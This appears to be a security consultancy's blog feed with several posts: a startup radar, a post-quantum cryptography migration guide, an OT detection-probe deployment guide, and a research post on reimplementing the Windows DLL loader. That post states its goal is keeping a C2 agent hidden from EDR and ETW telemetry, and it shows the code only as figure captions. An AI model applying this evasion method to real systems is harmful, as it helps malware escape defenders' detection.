These universities are providing a fertile ground for startups as they offer support in terms of infrastructure but also in terms of collaboration with students and labs. In return, intellectual property is shared between startups and universities. This model is a success for Switzerland as it allows to continuously improve the economy of these regions with a good balance between investment and research.

Nevertheless, other regions such as Geneva and Ticino are showing increasing dynamism, with several new startups emerging in this year’s edition. This points to a gradually diversifying ecosystem, supported by regional initiatives like innovation hubs and dedicated startup incubators.

Methodology

Wavestone’s Swiss Cybersecurity Startups Radar identifies new players in the Swiss cyber innovation ecosystem. Its objective: to provide a global and critical view of an ever-renewing environment.

• Startups were selected according to our eligibility criteria:
• Head office in Switzerland
• Less than 50 employees
• Less than 8 years of activity (established as of 2017)
• Business model around a specific product (software or hardware)
• Startups were identified and evaluated according to the following procedure:
• Open Source Intelligence (OSINT) data consolidation
• Evaluation in regard to above criteria
• Qualitative interviews with the startups

Cet article Cybersecurity Startups Radar: 2025, AI at the service of cybersecurity est apparu en premier sur RiskInsight.

The growing excitement about the advent of quantum computers is justified for a subject that is no longer science fiction but involves a new kind of threat.

Indeed, according to the predictions of numerous experts such as the Global Risk Institute, quantum computers should soon be capable of solving the mathematical problems underlying current cryptographic standards – which would consequently render obsolete the traditional systems protecting our communications, our finances and our critical infrastructures. 

For businesses, the urgent question is no longer whether this threat will become a reality, but when. How can we anticipate the operational and structural impact of this technological upheaval, while at the same time responding to the growing number of regulatory recommendations on the subject? What tools should be adopted to guarantee the confidentiality and integrity of data in the near future? It’s a major challenge, but solutions are being studied, such as post-quantum cryptography (PQC), which is already being widely adopted by the international community.

The quantum threat

Today, the security of information systems relies mainly on symmetric and asymmetric (or public key) cryptography and hash functions. These categories are represented by algorithms that are widely used today, in particular AES, RSA, ECC and SHA for hash functions. Massively adopted by the global community and natively integrated into many modern devices, these algorithms have proved their worth for decades in ensuring the confidentiality, authenticity and integrity of data exchanges.

The mathematical problems on which these standards are based are sufficiently complex to ensure that even today’s best supercomputers have no brute-force capability.   

The quantum computer is reshuffling the deck.

These machines are based on physical principles that are fundamentally different from today’s classical computers. Thanks to the phenomena of superposition and entanglement, a quantum processor can process different physical states simultaneously. What is often described as ‘quantum parallelism’ does not correspond to simple classical parallel computing (where several cores execute identical tasks), but to the ability to explore multiple execution paths simultaneously. For some algorithms, this approach can considerably reduce the search space and speed up processing.

A key question then arises: are there already algorithms capable of exploiting these quantum properties, and thus of overcoming current encryption standards?

In 1994, P. Shor, followed by L. Grover in 1996, introduced algorithms incorporating quantum computation processes to solve certain complex mathematical problems. The first allowed large numbers to be factored exponentially faster than a conventional algorithm, while the second optimised the search for an element in unordered sets. Until now, the characteristics of classical computers have made these algorithms impractical, but the emergence of quantum computers will radically change the situation, making them usable.

Indeed, the best supercomputer would take 1.02 x 10¹⁸ years (one trillion years) to break AES-128 by brute force and 10¹⁰ years (10 billion years) for RSA-2048 using today’s best methods. By comparison, a quantum computer running Grover’s algorithm could break AES-128 in 600 years, while Shor’s algorithm would overcome RSA-2048 in just 8 hours with a machine of 20 million qubits.

Faced with this threat, AES and symmetric cryptography, as well as SHA-256 and hash functions, remain viable by doubling the size of the keys used, but asymmetric cryptography needs to be rethought. With this in mind, post-quantum cryptography is emerging as the most promising solution.

What is post-quantum cryptography?

According to the ANSSI, ‘post-quantum cryptography (PQC) is a set of classical cryptographic algorithms including key establishment and digital signatures, which provide conjectured security against the quantum threat in addition to their classical security’.

This therefore refers to all the new asymmetric encryption algorithms capable of guaranteeing security against both traditional attacks and the new quantum attacks. The difference with those we use today lies essentially in the mathematical problems underlying the algorithms, chosen to remain complex to solve, even for a quantum computer.

Why is this solution considered the most promising?

PQC is not the only response being considered to the quantum threat, but it is widely regarded as the most viable solution by the international community. Several factors explain this interest, including

– Continuity with current systems, facilitating its adoption and gradual integration into conventional infrastructures.

– Advanced maturity, with standards already established and supported by the main cybersecurity authorities.

Continuity with current systems

How does this classical type of cryptography protect encrypted data against quantum attacks?

PQC does not imply a paradigm shift in our approach to securing infrastructures. As mentioned earlier, PQC is part of the family of asymmetric cryptography and therefore retains the same operation and objective as current public key algorithms. Its resistance to quantum attacks is ensured by the nature of the underlying mathematical problems, which are different from those used in conventional asymmetric cryptography. This structural difference also means that cryptography can be integrated more seamlessly into today’s digital infrastructures, ensuring a gradual transition to a future in which PQC completely and effectively supplants modern encryption standards.

Advanced maturity

The second major advantage of the PQC is its maturity compared with the other options considered. This year saw the publication of PQC standards by the US National Institute of Standards and Technology (NIST) in August 2024.

This process began in 2017 with 69 initial candidates, 4 of whom were selected to become the new PQC standards. None of the other solutions put forward to counter the coming threat, including quantum cryptography (based on the use of quantum properties as opposed to PQC, which can be implemented on conventional computers), have been the subject of a standardisation process.

Furthermore, national cybersecurity bodies such as ANSSI (France), BSI (Germany), NLNCSA (Netherlands), SFA (Sweden), NCSC (UK), NSA (USA), etc. all agree that CQP is the best way to protect against the quantum threat, and that the priority for businesses should be to migrate to CQP systems.

When and how can this technology be implemented?

The predictions of research bodies on the advent of the quantum threat are still fairly disparate, but all agree that quantum computers capable of executing the algorithms responsible for the future obsolescence of current cryptographic standards, known as Cryptographically Relevant Quantum Computer (CRQC), will render RSA-2048 obsolete, in particular, within the next 15 years. It is difficult to predict exactly when the quantum computer will be ready and will achieve sufficient performance for concrete use cases but cross-referencing the recommendations of organisations such as the NSA with the predictions of experts on the subject means that we can estimate the emergence of the first CRQCs between 2033 and 2037.

Harvest now, decrypt later

However, we do not have 10 years to arm ourselves against this threat. Data in transit today remains exposed to ‘harvest now, decrypt later’ attacks. These are attacks based on the interception and long-term storage of encrypted data, pending technological breakthroughs in decryption that will make it readable in the future.

The data targeted by this type of attack is mainly data in transit, as it is during transport that protocols such as TLS use asymmetric key pairs. It is at this point that the data is ‘quantum vulnerable’ and therefore interesting to intercept and store to decrypt it later. Data at rest, on the other hand, is generally encrypted using symmetrical algorithms, and requires to be exfiltrated to be captured, so it is not the target of these attacks.

The main risk of these attacks remains the violation of long-term data confidentiality. Depending on the sector, particularly financial or industrial, data can remain sensitive for long periods, so access to this information can have multiple serious consequences. It is reasonable to assume that attackers could currently recover a considerable quantity of encrypted data to decrypt it later. It is therefore imperative to start migrating to cryptographic systems that are resistant to quantum algorithms today.

Recommendations from organisations on preparation

CISA, the NSA and the American NIST, to name but a few, are urging companies to get ready now by drawing up a quantum roadmap, led by a dedicated project team, whose aim would be to plan and supervise the organisation’s migration to PQC.

The project framework will need to focus on 3 main areas:

1. Cryptographic inventory: the aim is to understand the organisation’s exposure to vulnerable cryptographic mechanisms. This involves identifying the technologies used in systems, network protocols, applications and programming libraries.
2. Risk analysis: this aims to prioritise the assets and processes to be secured first. The aim is to assess the criticality of the data being protected, and also to anticipate the length of time it will need to be protected. This analysis is based on the cryptographic inventory carried out upstream and enables efforts to be targeted where the impact of a quantum attack would be most critical.
3. Supplier responsibility: the transition to post-quantum cryptography also involves working closely with technology partners. Companies need to ensure that the solutions they use are crypto-agile: can current products be upgraded to systems that are resistant to the quantum threat, or will they need to be replaced to avoid obsolescence?

The migration strategy we recommend at Wavestone takes the main steps outlined by CISA, NSA and NIST, and adapts them to the operational realities of each company:

1. Strategic phase:
   • Understanding and raising awareness: Firstly, this involves training and informing all those involved (management, business teams, technical teams) about the impact of the quantum threat, the issues involved in post-quantum cryptography, and the main regulatory guidelines.
   • Risk assessment and initial inventory: Mapping of cryptographic uses (protocols, libraries, applications, etc.) and identification of sensitive data that must remain confidential over a long period. It is also at this stage that the company’s maturity is assessed and the most critical projects prioritised.
   • Framing the programme: On the basis of the risks identified, the overall roadmap (objectives, budget, organisation) is defined. A dedicated team – or ‘centre of excellence’ – is set up to steer the transition, coordinate the various projects and define the success indicators.

2. Quick wins
   • Before embarking on a more extensive transformation phase, we recommend the rapid launch of low-investment initiatives, such as including post-quantum clauses in contracts (with suppliers and partners). The aim is to obtain tangible returns, raise stakeholder awareness and create a positive momentum around the project.

3. Transition programme

• • Test of an initial use case: Selection of a representative use case to deploy the first post-quantum cryptographic algorithms or mechanisms under real conditions.
  • Detailed inventory (second iteration): We then need to refine the mapping of cryptographic components (PKI, key management, network protocols, encryption libraries, etc.) in order to plan the migration precisely.
  • Modernising ‘digital trust’: This involves updating infrastructures (PKI, certificate management, key rotation policies, etc.) and implementing procedures to accommodate new algorithms.
  • Migration and monitoring: Progressive deployment of post-quantum algorithms on critical systems, while maintaining service continuity. This phase is accompanied by controls, performance tests and security checks. Eventually, the entire IS is covered, guaranteeing continuity and regulatory compliance.

This roadmap, which is both pragmatic and in line with the recommendations of the relevant bodies, guarantees a controlled transition to post-quantum cryptography.

Hybridization mentioned in Europe as an important step in the transition

In a joint publication with its European counterparts BSI, NLNCSA, SNCSA and SFA, ANSSI also recommends that preparations for this transition should begin as soon as possible. Although the new PQC standards, including algorithms, implementation instructions and their use, were published by the NIST in August 2024, these bodies are not encouraging the immediate integration of these algorithms into companies’ cryptographic systems. The ANSSI has even announced that it ‘does not approve any direct replacement in the short or medium term’. The reason for this is ‘a lack of cryptanalytical hindsight on several security aspects’; despite its completed standardisation process, PQC is not yet considered mature enough to guarantee security on its own:

– Several algorithms that were finalists (and therefore considered promising) in the NIST standardisation process have been the subject of classic attacks that have been successful. The SIKE algorithm was defeated in 10 minutes, and Rainbow in a weekend.

– Dimensioning, integration of algorithms into communication protocols and the design of secure implementations are other aspects on which progress needs to be made, according to the ANSSI.

Consequently, unlike NIST, ANSSI and BSI, among others, recommend that organisations adopt hybrid systems. This concept consists of ‘combining post-quantum asymmetric algorithms with well-known and well-studied pre-quantum asymmetric cryptography’ (ANSSI). In this way, we can benefit from the effectiveness of current standards against classical attacks, and from the predicted resistance of PQC against quantum attacks.

Hybridization is possible for key encapsulation mechanisms and digital signatures. Each classical operation is replaced either by:

– successive execution

– parallel execution of the 2 algorithms, pre-quantum and quantum.

The second option can be implemented to reduce the loss of system performance. These hybrid schemes also require the players involved to support both types of algorithms.

This is a scheme where ‘the additional performance cost of a hybrid scheme remains low compared with the cost of the post-quantum scheme’. ANSSI believes that ‘this is a reasonable price to pay to guarantee pre-quantum security that is at least equivalent to that provided by current standardised pre-quantum algorithms’.

On the other side of the Atlantic, we are much more nuanced than our European counterparts on this issue. Although the benefits of hybridisation are recognised by the UK and US cybersecurity authorities, the NCSC and NIST insist on the temporary nature of this solution and do not impose hybridisation as a mandatory step before migrating completely to PQC. The NSA explicitly states that it has confidence in PQC standards and does not require the use of hybridisation models in national security systems. In summary, the decision to use these models must be taken taking into account:

– technical implementation constraints

– the increased complexity (two algorithms instead of one),

– the additional cost,

– the need to transition a second time in the future to a total PQC system, which can be a complex exercise in crypto-agility – i.e. the ability to modify one’s cryptographic infrastructure rapidly and without major upheaval in response to changing threats – for some companies.

Regulatory aspects

There are currently no European regulations setting out explicit requirements for post-quantum cryptography. However, some of the various texts on data encryption (NIS2, DORA, HDS, etc.) explicitly require state-of-the-art encryption to be applied.  In particular, DORA requires the constant updating of the cryptographic means used in relation to developments in cryptanalysis techniques. It is therefore possible to consider this as a first step in guiding organisations towards the concept of crypto-agility.

Despite the current lack of requirements, ANSSI is planning a post-quantum transition plan in 3 phases:

1. Phase 1 (in progress)

Effective post-quantum security through hybridisation remains optional and is considered by the agency to be defence in depth. The security approvals issued by ANSSI remain unchanged and only guarantee pre-quantum security.

2. Phase 2 (after 2025)

Quantum resistance becomes a security property. Post-quantum security criteria for PQC algorithms will have been defined by ANSSI and will be taken into account when issuing security visas.

3. Phase 3 (after 2030)

It is estimated that the post-quantum security assurance level will be equivalent to the current pre-quantum level. Hybridization will therefore become optional; security visas may be issued for companies using post-quantum schemes without hybridization.

In addition, depending on the context, ANSSI may decide to grant security visas only for long-term post-quantum security.

In the USA, NIST’s post-quantum transition plan is not definitive, but the obsolescence of RSA and ECC is already projected for 2030, followed by a total implementation ban in 2035; hence the announced target – aligned with the NSA – for completion of the migration to PQC in all federal systems in the same year. Depending on the requirements of different sectors, it may be necessary to make the transition more quickly, depending on the associated levels of risk.

Although 2035 seems a long way off, the full migration to post-quantum cryptography is a long process, and the initial phases of cryptographic inventory, data classification and risk analysis, in particular, require considerable time. It is therefore essential to start today to plan for a successful transition.

The advent of quantum computers is therefore no longer a distant hypothesis, but a certainty that will redefine the foundations of cybersecurity. While the precise timing (2033-2037) remains uncertain, the regulatory pressure from cybersecurity institutions is becoming clearer, and the impact on data confidentiality and integrity is unavoidable. Every day that goes by without adaptation increases the vulnerability of companies to future attacks.

And yet, solutions already exist: post-quantum cryptography, although not yet fully mature – especially when it comes to implementation – offers a promising response to this threat. Standardised and supported by the major international bodies, it represents the first step towards sustainable security in the quantum era.

However, adopting this technology is not simply a matter of technical deployment. It is a strategic transition, an exercise in crypto-agility, and an opportunity for businesses to assert their resilience in the face of technological upheaval.

The question is no longer whether your organisation will be ready when the first quantum computer capable of breaking RSA-2048 sees the light of day. The question is whether it will have anticipated this future, by arming itself now with the tools and plans needed to turn this constraint into a competitive advantage. The future of security starts today.

Contact us

Cet article Quantum computing and post-quantum cryptography: what strategy should companies adopt to deal with these issues? est apparu en premier sur RiskInsight.

As everyone knows, when developing a C2 and the corresponding agent, OPSEC must be the priority, so the agent code must rise as few events (ETW) as possible.

The most common way to increase OPSEC when using external DLL is to perform dynamic loading to avoid getting the loaded DLL name in the source code. This can be done using the LoadLibrary Win32 API.

This API allows a program to load a specific DLL from the disk. However, the drawback is that LoadLibrary raises several events and telemetry an EDR can analyze to detect the malicious C2 agent.

In order to avoid this kind of event, I chose to implement a custom LoadLibrary that will not raise such events.

State of the art – LoadLibrary

I will not go too much deeper in the implementation details, as this has already been documented several times in blogposts[1] or books (Windows Internals Part 1).

The goal here is to create a function that takes as an input a DLL path and loads the DLL in memory. Doing it manually has a lot of advantages:

• Limits ETW and Microsoft telemetry
• More choices in the way sections are allocated and written.
• Possibility to hide malicious loaded DLL when not used.

However, there are a lot of edge cases that could make the custom loader unreliable as it was mentioned in the SpecterOps blogpost PerfectLoader[2]:

The quality of these reimplementations may be judged by comparing the feature set of these custom loaders against what the OS’s native loader supports. As such, the native OS loader may be considered a “perfect loader,” but it should not be considered the only perfect loader.

Basic implementation

The basic implementation consists in just copying the DLL image in memory, performing relocation, importing imported modules and resolving the IAT entries.
The different steps can be found in the Windows Internal Part 1 book (page 178) and a more described implementation can be found here[3].
This is the most common way to load a DLL. Once the DLL is loaded as-is in memory, it can be used for basic usages. However, any use of standard Win32API against this DLL such as GetModuleHandle or GetProcAddress will fail.
This implementation does not implement any additional feature provided by the Windows DLL loader: it just performs a textbook DLL loading.

Fixing compatibility with Microsoft WIN32API

The previous implementation has the merit of working and it helped me out more times I can count. However, it is not reliable; the most important edge case being the DLL cannot be searched using GetModuleHandle or LoadLibrary.

Therefore, if the others DLL need access to the loaded DLL, they will not find it with the standard Win32API and will load it again using LoadLibrary leading to a nice ETW event: all we wanted to avoid in the first place.

Batsec[4] wrote an article[5] on how the DLL can be loaded in memory and still be compatible with the Microsoft Win32 API (at least GetProcAddress, LoadLibrary and GetModuleHandle) without raising a bunch of events.

His research shows that when a DLL is loaded by the standard Windows DLL loader, it does not just load the image in memory and the loader will perform at least two additional actions:

• Add the DLL in the PEB linked list that contains all the DLL loaded by a process.
• Create a hash identifying the DLL and adding it to another structure called LdrpHashTable

During the loading process, the DLL loader, calls the LdrpInsertDataTableEntry function. This function creates a hash identifying the DLL and adds it to the LdrpHashTable structure as shown in the following figure:

Figure 1: use of LdrpHashTable during DLL loading

This mechanism has been implemented by Microsoft to ease and speedup DLL search through a read and black binary tree. This structure allows the search of a DLL in O(log(n)) instead of O(n) with the previous linked list. This mechanism will not be explained here but can be seen in the DarkLoadLibrary project in the FindModuleBaseAddressIndex function.

Adding the DLL in the PEB linked list AND in the LdrpHashTable can be seen as fully registering the DLL and makes it known to the process.

Once this link has been established, the DLL can be searched, freed, or copied through the Win32API.

Problems with this implementation

When I saw this implementation, I thought that all my problems were solved and started reimplementing it on my side to understand and customize the process.

For a moment it worked well. All the DLL I loaded with worked out of the box and no specific event regarding the loading of an additional DLL were raised by the agent.

The troubles begin when I tried to dynamically load a specific DLL: WinHTTP.dll.

The DLL is successfully loaded, and the majority of functions worked well, but one function did not want to work: WinHTTPOpen.

This function is used to initialize the environment and prepare the structures that will be used by the other network API used to perform an HTTP connection. So, without this function, it was not possible to perform any HTTP communication through the WinHTTP API.

When I called the WinHTTPOpen function, the call failed with the error code 126. This error code is related to a missing DLL which does not make any sense as all the DLL were successfully loaded.

Dive into WinHTTP.DLL madness

Macroscopic investigation

The error code hinted a problem with a DLL that has not been loaded, so my first reflex was to monitor the process using Procmon, looking for an imported DLL that could have failed to be loaded.

However, even when comparing the DLL loaded with the standard LoadLibrary and the ones loaded through the custom loader, no differences could explain the error code 126.

Microscopic investigation

For a moment I let this problem aside and continue the development of the agent, but it still bothered me, and I had no idea how I could debug it. Until one day, I took my sanity away, and decided to just decompile the WinHTTP.DLL and debug it step by step until I saw the error code 126 popping in one of the registers.

Finding the initial problem

With the step by step debug, I quickly found that the problem occurred in the INTERNET_SESSION_HANDLE_OBJECT::SetProxySettings function in the WINHTTP.DLL file.

Following the call stack leads me to the following functions:

• INTERNET_HANDLE_BASE::SetProxySettingsWithInterfaceIndex
• WxReferenceDll
• TakeSingleDllRef

In the TakeSingleDllRef I found the following piece of code:

Figure 2: TakeSingleDllRef code

The 126 error code I got when running the WinHTTPOpen function is generated by the GetModuleHandleExA function.

This function is usually used to retrieve the base address of an already loaded DLL by its DLL name. However, here, two unusual parameters are given to this API:

• dwFlags: 4 instead of 2
• dllName: the address of the current function instead of the name of the DLL to search for.

Looking at the Microsoft documentation shows that dwFlags 4 is named GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS and thus explains why an address is given instead of a DLL name.

Indeed, when this flag is passed to the GetModuleHandleExA, the function will not search for the DLL base address by its name but will find the DLL that contains the given function.

Narrow down the problem

The problem comes from the GetModuleHandleExA function. This is interesting because during my tests the custom loader worked fine with GetModuleHandle (that call GetModuleHandleEx under the hood with dwFlags 2 instead of 4).

So, I decompiled the KERNELBASE.DLL to find the difference of implementation when dwFlags 4 is passed to GetModuleHandleEx.

The callstack shows that GetModuleHandleEx called the BasepGetModuleHandleExW function.

Figure 3: BasepGetModuleHandleExW code

The first part of the BasepGetModuleHandleExW function explains the difference of behavior between GetModuleHandle and GetModuleHandleEx with dwFlags set to 4.

When the dwFlags is set to 4, the function uses the RtlPcToFileHeader to find the base address of the module related to the function passed as parameters.

A step-by-step debug shows that this function returns the right value for a DLL loaded with LoadLibrary but always return 0 for a DLL loaded with the custom DLL Loader.

Analysis of RtlPcToFileHeader

If I had to implement a function that, given a specific address, returns the base address of the image containing the function, I would naturally use the Win32Api VirtualQuery. So, I did not see why this function could fail.

The RtlPcToFileHeader indeed use VirtualQuery to get the base address:

Figure 4: use of VirtualQuery inRtlPcToFileHeader

However, before getting in this execution branch it performs some additional tests :

Figure 5: Tests performed in RtlPcToFileHeader

If the execution flow goes into the if(!v10), the function will return 0, otherwise, it has a chance to go through the VirtualQuery and returns the right base address.

When this function is used on a DLL loaded by the custom loader, it always falls in the wrong code path returning 0.

LdrpInvertedFunctionTable

The test performed by the RtlPcToFileHeader function is based on an analysis of the LdrpInvertedFunctionTable.

This table that can be parsed using the two following structures,

Figure 6: Structure used to parse the inverted table

seems to be used to handle SEH exceptions.

So, it seems that the custom loader fails to register these exceptions. Indeed, using WinDBG with the DLL loaded through LoadLibrary, it is possible to see that an entry corresponding to the WINHTTP.DLL file has been registered:

Figure 7: Analysis of the inverted table with WinDBG

The same test with the custom loaded DLL shows that no new entry were added to the LdrpInvertedFunctionTable.

Solutions

The messy one

The root cause of the problem is that when loading the DLL, no additional entries are added to the LdrpInvertedFunctionTable leading to a hard failure on the RtlPcToFileHeader function.

However, the main cause of the problem is that GetModuleHandleEx uses RtlPcToFileHeader.

While adding a new entry to the LdrpInvertedFunctionTable can be a hard problem, hijacking the GetModuleHandleEx function when loading the DLL is an easy one.

Indeed, during the DLL loading process, we have to manually resolve the exported function address, so it is possible to hijack the entry related to GetModuleHandleExA.

The following code can be used instead of GetModuleHandleExA:

Figure 8: custom GetModuleHandleExA code

This code iterates over the DLL registered in the PEB linked list, check if the given function is located in the DLL and returns the base address of the related DLL.

This solution worked for the WinHTTP.DLL but what about other use cases or other functions based on RtlPcToFileHeader? We would have to remap them explicitly every time which is not the best way to operate.

The elegant one

When two things have to work well together, we have to comply with the rules of the part we are integrating to. In this case, the custom loader should implement the feature that adds the different entries in the LdrpInvertedFunctionTable.

Locate the use of RtlInsertInvertedFunctionTable

The function RtlInsertInvertedFunctionTable can be used to add an entry in the LdrpInvertedFunctionTable. So, if this is performed by the Windows DLL loader, it should be possible to find a reference of this function in the LoadLibrary callstack.

Indeed, the call to the RtlInsertInvertedFunctionTable is found in the LdrpProcessMappedModule function:

Figure 9: use of RtlInsertInvertedFunctionTable during DLL loading

This function is called with a security cookie generated using the LdrInitSecurityCookie function:

Figure 10: Use of LdrInitSecurityCookie

While the LdrInitSecurityCookie is an exported function, the RtlInsertInvertedFunctionTable is not. So, if we want to use this function, there are two choices:

• Using a pattern recognition algorithm to find the function in the NTDLL knowing that the pattern can change between each Windows build version (this technique has been implemented here[6])
• Redeveloping the function

I’m not a fan of pattern recognition because it is an unreliable technique that must be maintained over each Windows build version.

Analysis of the RtlInsertInvertedFunctionTable function

Decompiling the RtlInsertInvertedFunctionTable shows the following code :

Figure 11: RtlInsertInvertedFunctionTable function

Among these functions, the only ones exported are the RtlAcquireSRWLockExclusive and RtlReleaseSrwLockExclusive. However, the other ones are quite simple to implement:

• RtlCaptureImageExceptionValues retrieves the image ExportDirectory
• LdrProtectMrData performs a VirtualProtect on the .mrdata section
• RtlpInsertInvertedFunctionTableEntry populates the RTL_INVERTED_FUNCTION_TABLE_ENTRY and adds the new element to the RTL_INVERTED_FUNCTION_TABLE LdrpInvertedFunctionTable.

The only problem now is there is not any exported function that allows the retrieval of the LdrpInvertedFunctionTable object.

Locate the RtlInsertInvertedFunctionTable

So, against all my principle, some pattern recognition algorithms need to be coded in order to locate the LdrpInvertedFunctionTable structure. However, finding this structure will be easier and more reliable than finding some instructions sequences in the whole NTDLL .text section.

Indeed, there are some inputs that can be used to narrow down the lookup and avoid false positive:

• The structure is located in the .mrdata
• The MaxCount field must be less than 512
• The Count field must be less than max count and more than 0

The LdrpInvertedFunctionTable is located in the NTDLL .mrdata. This section is a specific section that is configured with ReadOnly protection as the .rdata. However, this section protection is often changed from ReadOnly to ReadWrite.

This section is used to store sensitive structure that can be modified by the OS under specific circumstances (enhance the ReadWrite protection) but must be protected against programmatic error that could write arbitrary data in it (enhance the ReadOnly protection at runtime).

Then, some conditions on the different entries can be verified to ensure that the address tested represents the LdrpInvertedFunctionTable and is not a false positive. For each entry:

• The exception directory address must be contained in the DLL image
• The exception directory address must match with the one computed from the DLL base image
• The exception directory size must match with the one computed from the DLL base image

These conditions do not ensure the unicity of the solution, but I don’t think random garbage in memory could verify all these conditions, especially the last three.

The following function can be used to locate the LdrpInvertedFunctionTable:

Figure 12: Code looking for LdrpInvertedFunctionTable

We now have everything we need to implement the RtlInsertInvertedFunctionTable.

Implement the RtlInsertInvertedFunctionTable

The RtlInsertInvertedFunctionTable can be implemented as the following:

• Locate the LdrpInvertedFunctionTable as explained before
• Unprotect the .mrdata section from ReadOnly to ReadWrite using VirtualProtect
• Locate the index where the new DLL entry must be stored (these entries are sorted by image base address)
• Write the RTL_INVERTED_FUNCTION_TABLE_ENTRY element in the LdrpInvertedFunctionTable

Figure 13:  RtlpInsertInvertedFunctionTableEntry implementation

This code can be added to the DarkLoadLibrary[7] project to get a fully functional DLL Loader.

Conclusion

When developing a custom C2, the most difficult part is not getting something functional. This is mainly basic development. The most difficult and interesting part is to get something OPSEC.

This part implies a deep understanding of Windows internals in order to understand what IOC will be raised, how it can be bypassed and how this custom part can be adapted to be fully integrated with the native Windows ecosystem.

This blogpost does not only show how a specific part of the Windows DLL loader can be reimplemented, but how IOC can be hunted, and how the Windows internals can be reversed to adapt our work to the ecosystem.

[1] https://otterhacker.github.io/Malware/Reflective DLL injection.html

[2] https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa

[3] https://otterhacker.github.io/Malware/Reflective DLL injection.html

[4] https://twitter.com/_batsec_

[5] https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/

[6] https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c

[7] https://github.com/bats3c/DarkLoadLibrary

Cet article LoadLibrary madness: dynamically load WinHTTP.dll est apparu en premier sur RiskInsight.

OT Probes: A tool for monitoring industrial networks 

Figure 1: Listening to the network to assess and detect 

A detection probe is a piece of equipment, virtual or physical, connected to the information system (IS) in order to map and monitor it. It consists of sensors distributed across the network to collect data. And typically, a central console to aggregate, correlate and analyse this data. Probes for industrial environments – which we will refer to simply as OT probes here – are characterized by their passive, non-invasive listening on the network, and their understanding of industrial protocols and behaviour. Many players are present on the market, you can find our market overview here: https://www.riskinsight-wavestone.com/2021/03/les-sondes-de-detection-en-milieu-industriel-notre-vision-du-marche/  

All their probe solutions work on the same principle: network traffic is collected using flow duplication (SPAN, ERSPAN …) or physical duplicator like taps, etc. Packets are inspected in real time to provide several types of data: flow inventory and mapping, asset and vulnerability management, and finally anomaly and incident detection. 

This variety of possible use cases of these data and the types of users involved (operational and business team, cybersecurity team, etc.) is what makes OT probes so popular.  

However, procuring and deploying these solutions are costly. The organisation must have a clear understanding of their needs, a view of potential users and the exact added value required before embarking on such a project. 

Let’s take two very different examples 

Imagine two companies are considering deploying OT probes on their industrial sites.  

1st Company: WavePetro 

WavePetro is a company with a large sensitive site, which has a good level of cybersecurity maturity, as well as a segmented architecture. The company wants to deploy OT probes to be compliant with regulations and to improve its detection capabilities. 

Considering its architecture and detection requirements, numerous listening points will be needed on the site. WavePetro can rely on its local teams for expertise and site knowledge to support this complexity. 

2nd Company: RenewStone 

RenewStone has numerous scattered and unmanned small sites with different cybersecurity maturity levels. The sites are connected to central Group infrastructure. 
The company wants to deploy OT probes to gain visibility on its sites using inventory and vulnerability management features.  

With this configuration, RenewStone needs to standardize a turnkey OT probe roll-out and run service with as little local complexity as possible.  

Figure 2: 2 companies, 2 reasons to deploy OT probes, 2 implementation plans 

What is required for a successful roll-out? 

Although these two companies have different drivers and maturities, they will go through the same 5 key stages, albeit with different approaches.  

1.Perform a Proof of Concept 

Let’s start with the first step: the proof of concept. The objective for both companies is to test the feasibility and challenge the value this tool brings to the organisation. 

While WavePetro have to validate feasibility on a reduced perimeter in the factory, RenewStone has to validate OT probe added value validation on few different sites. 

The PoC is key in identifying what can be valuable for both companies. To get the most of it, it is important to: 

• Adapt vendors selection to your needs: The market is quite diversified between pure players, those specializing in industry or extending their IT solutions …  
  Do I want strong detection capabilities? Do I want a managed service? Do I want a unified solution for IT and OT?  
• Select the PoC scope: Identify a representative scope with resources to test on so that results can be reproduced at scale.  
• Draft a target architecture before the PoC: This allows to test an architecture that will be representative of what would be deployed at scale, in order to validate the tests carried out. 

PoC is an essential step to ensure that the tool provides value to your company, but also to be able to convince businesses to deploy especially when not constrained by regulations. 

2.Build the associated operating model  

Even from the early stages, before rollouts, it is important to remember that the end goal of the probes deployment will be to get value from its operation. To be able to do so, it is essential to: 

• Define an operating model for handling alerts, managing the inventory and managing the probes themselves. While WavePetro can have an operating model heavily relying on local knowledge and expertise, RenewStone must build a central operation model to include group teams such as SOC, OT security, network, infrastructure and so on. 
• Decide whether to call on a third party or manage your probes in-house: Few vendors also propose managed service, so you would need to create your own model, which could also rely – wholly or partly – on externalization. 
• Create a RACI: Considering the different use cases and the number of players involved in using or maintaining probes, a RACI is key to ensuring that all stakeholders are involved. 

This stage must be addressed upstream to facilitate the next steps. 

3.Prepare the roll-out  

Once the first step has demonstrated the added value of a probe and their operating model has been defined, let’s prepare for the roll-out. You need to define the final target: 

• Where you will deploy: Especially if you have many diverse sites, like RenewStone, you need to be precise on, and prioritize, the scope: It will not be possible to deploy all sites at the same time. 
• When you will deploy: Work on budget estimates, even if not accurate, as soon as possible so that sites are able to plan a roll-out on the following year. Probes are an expensive solution, not only in terms of hardware and licensing, but also in terms of the resources required to deploy and operate them. 
• How you will deploy: In any case, you need to work on a standard architecture blueprint. But especially if you have many sites to deploy or very limited local resources, you should work on building a packaged service offer to deploy.  

This preparation part is key to avoid wasting time with deployments and guarantee their success. 

4.Deploy ! 

Let’s start deploying… The motto is the same for both companies: Start small and grow.  
The difference lies in the scale:  

• Gradually roll out across the site for WavePetro: It will take some time to be able to listen everywhere effectively. Focus on the expected data to prioritize where to place the probe at first and where to listen to the network. 
• Learn and improve from one roll-out to the next for RenewStone: Rollouts are centralized and more standardized, so teams will learn and improve from one roll-out to the next. There should be a first ring of roll-out that is comprised of representative sites to test and improve the deployment model on.  
• Include change management: in all cases, the deployment of a new tool must absolutely include awareness-raising and training if probes are to find their users. 

Deploying OT probes can be a long and tedious process, but do not get discouraged, because there is still one big step left! 

5.Fine-tune OT probe console 

A probe roll-out is not a “1-and-done” kind of project. This is a tool for continuous improvement and needs to learn to deliver value. You should therefore dedicate time to: 

• Fine-tune OT Probes dashboard: Take time to improve the detection model (whitelist some behaviors, prioritize sensitive assets …), the automatic asset inventory and mapping (enrich inventory, import data, tag VLANs …), and so on. This fine-tuning needs to be done by someone with site-specific knowledge.  
• Integrate with other technologies: You can integrate OT probes consoles with your other solutions and tools such as the SIEM, firewalls or CMDBs to make the most of the data collected by the probes. 
• Try adding features: once you have gained some maturity over the solution, you can go even further with the features available like performing active queries to enrich the inventory and go even further with the features available. 

Fine-tuning enables the solution to reduce the amount of data it retrieves, so that it can focus on security data and alerts that will bring value to your company and its security level. 

Figure 3: Takeaways from 5 key steps towards an OT probes service 

